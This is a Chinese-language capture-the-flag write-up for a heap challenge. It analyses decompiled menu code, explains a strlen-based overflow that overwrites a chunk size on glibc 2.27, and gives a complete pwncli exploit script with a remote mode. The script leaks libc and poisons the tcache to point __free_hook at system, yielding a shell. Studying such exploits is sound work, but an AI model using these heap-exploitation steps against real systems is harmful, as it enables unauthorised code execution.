前言
本题目介绍了一种溢出覆盖chunk size创造重叠块的利用手法
题目情况
After the successful hijacking of the D12 spaceship during the Space Pirate mission, the crew managed to place a signal transmitter on a vending machine that the Golden Fang's members are using to order food from the Supplier Spacecraft of Draeger. Golden Fang's crew's favorite food contains a secret ingredient called "Little Green People0," which we do not have further info about. The signal passes through many satellites before it reaches the Supplier, so it won't be easy to track the device and the leaked signal. Can you take advantage of it and get control of the Supplier?
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开
逆向分析
main:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[168]; // [rsp+0h] [rbp-B0h] BYREF
unsigned __int64 v5; // [rsp+A8h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(s, 0, 0xA0uLL);
setup();
banner();
while ( 1 )
{
menu();
switch ( read_num() )
{
case 1:
new_order(s); // 任意大小申请,内容填充,数组保存指针
break;
case 2:
show_order(s); // %s打印内容,非空才打印
break;
case 3:
edit_order(s); // 指针非空可编辑内容,大小取决于strlen,可能溢出
// 溢出可以修改next chunk header
break;
case 4:
delete_order(s); // 释放清空指针
break;
case 5:
printf("%s\n[+] Your order will be ready soon!\n", "\x1B[1;32m");
exit(69);
default:
printf("\n%s[-] Invalid option!%s\n", "\x1B[1;31m", "\x1B[1;34m");
break;
}
}
}
4个选项:
new:任意大小内存申请,然后写入内容
unsigned __int64 __fastcall new_order(__int64 *a1)
{
int empty_order; // [rsp+18h] [rbp-18h]
int num; // [rsp+1Ch] [rbp-14h]
void *buf; // [rsp+20h] [rbp-10h]
unsigned __int64 canary; // [rsp+28h] [rbp-8h]
canary = __readfsqword(0x28u);
empty_order = get_empty_order(a1, 20);
if ( empty_order == -1 )
{
printf("%s\n[-] Cannot order more!%s\n", "\x1B[1;31m", "\x1B[1;34m");
}
else
{
printf("\n[*] For how many: ");
num = read_num(); // 大小可以很大
buf = malloc(num); // 可控申请大小
if ( buf )
{
printf("\n[*] What would you like to order: ");
read(0, buf, num); // 填充内容,无溢出
a1[empty_order] = (__int64)buf; // 保存到数组
}
else
{
printf("%s\n[-] Something went wrong!%s\n", "\x1B[1;31m", "\x1B[1;34m");
}
}
return __readfsqword(0x28u) ^ canary;
}
show:打印写入的内容
unsigned __int64 __fastcall show_order(__int64 *a1)
{
unsigned int num; // [rsp+14h] [rbp-Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("\n[*] Number of order: ");
num = read_num();
if ( num <= 0x13 && a1[num] )
printf("\n[+] Order[%d] => %s \n%s", num, (const char *)a1[num], "\x1B[1;34m");
else
printf("\n%s[-] There is no such order!%s\n", "\x1B[1;31m", "\x1B[1;34m");
return __readfsqword(0x28u) ^ v3;
}
edit:通过strlen来获取大小,进行编辑
unsigned __int64 __fastcall edit_order(__int64 *a1)
{
size_t v1; // rax
unsigned int num; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("\n[*] Number of order: ");
num = read_num();
if ( num <= 0x13 && a1[num] )
{
printf("\n[*] New order: ");
v1 = strlen((const char *)a1[num]);
read(0, (void *)a1[num], v1); // 疑似溢出
}
else
{
printf("\n%s[-] There is no such order!%s\n", "\x1B[1;31m", "\x1B[1;34m");
}
return __readfsqword(0x28u) ^ v4;
}
dele,释放内存,清空了指针
unsigned __int64 __fastcall delete_order(__int64 *a1)
{
unsigned int num; // [rsp+14h] [rbp-Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("\n[*] Number of order: ");
num = read_num();
if ( num <= 0x13 && a1[num] )
{
free((void *)a1[num]); // 释放
a1[num] = 0LL; // 清空
}
else
{
printf("\n%s[-] There is no such order!%s\n", "\x1B[1;31m", "\x1B[1;34m");
}
return __readfsqword(0x28u) ^ v3;
}
利用分析
程序的问题出在了编辑功能上,通过strlen获取大小来进行编辑,可能会导致溢出覆盖下一个chunk的size
程序的libc版本是2.27,有毫无缓解机制的tcache
那肯定最终是通过tcache打,有free那就打free hook
通过溢出覆盖size字段可以创造一个重叠块,重叠的目标是unsortedbin chunk,就可以泄露出libc地址
此时会损坏unsortedbin chunk的header,修复后再次让unsortedbin chunk成为重叠块,重叠tcachebin chunk
就可以修改tcache bin chunk next 指针,完成tcache dup
辅助函数
def cmd(i, prompt=b"> "):
sla(prompt, i)
def add(size:int, content:bytes):
cmd('1')
sla(b": ",str(size).encode())
sla(b": ",content)
#......
def show(idx:int):
cmd('2')
sla(b": ",str(idx).encode())
#......
def edit(idx:int, content:bytes):
cmd('3')
sla(b": ",str(idx).encode())
sa(b": ",content)
#......
def dele(idx:int):
cmd('4')
sla(b": ",str(idx).encode())
#......
leak address
add(0x18, b"A"*0x18) # 0
add(0x18, b"B"*0x18) # 1
add(0x88, b"C"*0x88) # 2
add(0x88, b"D"*0x88) # 3
add(0x88, b"E"*0x88) # 4
add(0x88, b"F"*0x88) # 5
add(0x88, b"G"*0x88) # 6
add(0x88, b"H"*0x88) # 7
add(0x88, b"I"*0x88) # 8
add(0x88, b"J"*0x88) # 9
for i in range(9,2,-1):
dele(i)
edit(0, b"A"*0x18 + p8(0xb1))
dele(1)
dele(2)
add(0xa8, b"K"*0x27) # 1
show(1)
ru(b"K"*27+b"\n")
leak = rl()[:-2]
leak = u64(leak.ljust(8, b"\x00"))
log_address("leak", leak)
libc.address = leak -0x3ebca0
log_address("libc_base", libc.address)
此时的堆布局:
0x55938e5ec250 0x0000000000000000 0x0000000000000021 ........!.......
0x55938e5ec260 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x55938e5ec270 0x4141414141414141 0x00000000000000b1 AAAAAAAA........
0x55938e5ec280 0x4b4b4b4b4b4b4b4b 0x4b4b4b4b4b4b4b4b KKKKKKKKKKKKKKKK
0x55938e5ec290 0x4b4b4b4b4b4b4b4b 0x4b4b4b4b4b4b4b4b KKKKKKKKKKKKKKKK <-- unsortedbin[all][0]
0x55938e5ec2a0 0x0a4b4b4b4b4b4b4b 0x00007f783c8e8ca0 KKKKKKK....<x...
0x55938e5ec2b0 0x4343434343434343 0x4343434343434343 CCCCCCCCCCCCCCCC
0x55938e5ec2c0 0x4343434343434343 0x4343434343434343 CCCCCCCCCCCCCCCC
0x55938e5ec2d0 0x4343434343434343 0x4343434343434343 CCCCCCCCCCCCCCCC
0x55938e5ec2e0 0x4343434343434343 0x4343434343434343 CCCCCCCCCCCCCCCC
0x55938e5ec2f0 0x4343434343434343 0x4343434343434343 CCCCCCCCCCCCCCCC
0x55938e5ec300 0x4343434343434343 0x4343434343434343 CCCCCCCCCCCCCCCC
0x55938e5ec310 0x4343434343434343 0x4343434343434343 CCCCCCCCCCCCCCCC
0x55938e5ec320 0x0000000000000090 0x0000000000000090 ................
0x55938e5ec330 0x000055938e5ec3c0 0x000055938e5ec010 ..^..U....^..U.. <-- tcachebins[0x90][0/7]
0x55938e5ec340 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55938e5ec350 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55938e5ec360 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55938e5ec370 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55938e5ec380 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55938e5ec390 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55938e5ec3a0 0x4444444444444444 0x4444444444444444 DDDDDDDDDDDDDDDD
0x55938e5ec3b0 0x4444444444444444 0x0000000000000091 DDDDDDDD........
修改2 chunk的size为0xb1,覆盖了tcache chunk的size,释放后再申请就可以覆盖到unsortedbin chunk了
从而拿到libc地址泄露
tcache dup
# resume unsortedbin and extend it to overlop with tcachebin
edit(1, b"A"*0x18 + pack(0x121) + pack(leak))
# tcachebin attack
add(0x118,b"2"*0x88 + pack(0x91) + pack(libc.sym.__free_hook)) # 2
add(0x88,b"3"*0x88) # 3
add(0x88,pack(libc.sym.system)) # 4
add(0x28,b"/bin/sh\x00") #5
dele(5)
首先修复被损坏的unsortedbin的header和指针,使其header扩大到足够覆盖下面的tcachebin chunk next指针
修复完成之后,申请走,去覆盖next指针,指向free hook地址
然后正常的tcache dup流程了就是
完整exp
#!/usr/bin/env python3
# Date: 2024-12-25 13:01:11
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def cmd(i, prompt=b"> "):
sla(prompt, i)
def add(size:int, content:bytes):
cmd('1')
sla(b": ",str(size).encode())
sla(b": ",content)
#......
def show(idx:int):
cmd('2')
sla(b": ",str(idx).encode())
#......
def edit(idx:int, content:bytes):
cmd('3')
sla(b": ",str(idx).encode())
sa(b": ",content)
#......
def dele(idx:int):
cmd('4')
sla(b": ",str(idx).encode())
#......
"""
off by one 漏洞
libc 2.27 版本
off by one 创造重叠块覆盖一个unsortedbin chunk, 申请回来泄露libc
篡改 释放后的tcachebin chunk 完成tcache dup,打free hook
"""
add(0x18, b"A"*0x18) # 0
add(0x18, b"B"*0x18) # 1
add(0x88, b"C"*0x88) # 2
add(0x88, b"D"*0x88) # 3
add(0x88, b"E"*0x88) # 4
add(0x88, b"F"*0x88) # 5
add(0x88, b"G"*0x88) # 6
add(0x88, b"H"*0x88) # 7
add(0x88, b"I"*0x88) # 8
add(0x88, b"J"*0x88) # 9
for i in range(9,2,-1):
dele(i)
edit(0, b"A"*0x18 + p8(0xb1))
dele(1)
dele(2)
add(0xa8, b"K"*0x27) # 1
show(1)
ru(b"K"*27+b"\n")
leak = rl()[:-2]
leak = u64(leak.ljust(8, b"\x00"))
log_address("leak", leak)
libc.address = leak -0x3ebca0
log_address("libc_base", libc.address)
pause()
# resume unsortedbin and extend it to overlop with tcachebin
edit(1, b"A"*0x18 + pack(0x121) + pack(leak))
# tcachebin attack
add(0x118,b"2"*0x88 + pack(0x91) + pack(libc.sym.__free_hook)) # 2
add(0x88,b"3"*0x88) # 3
add(0x88,pack(libc.sym.system)) # 4
add(0x28,b"/bin/sh\x00") #5
dele(5)
ia()
总结
溢出覆盖chunk size创造重叠块的利用手法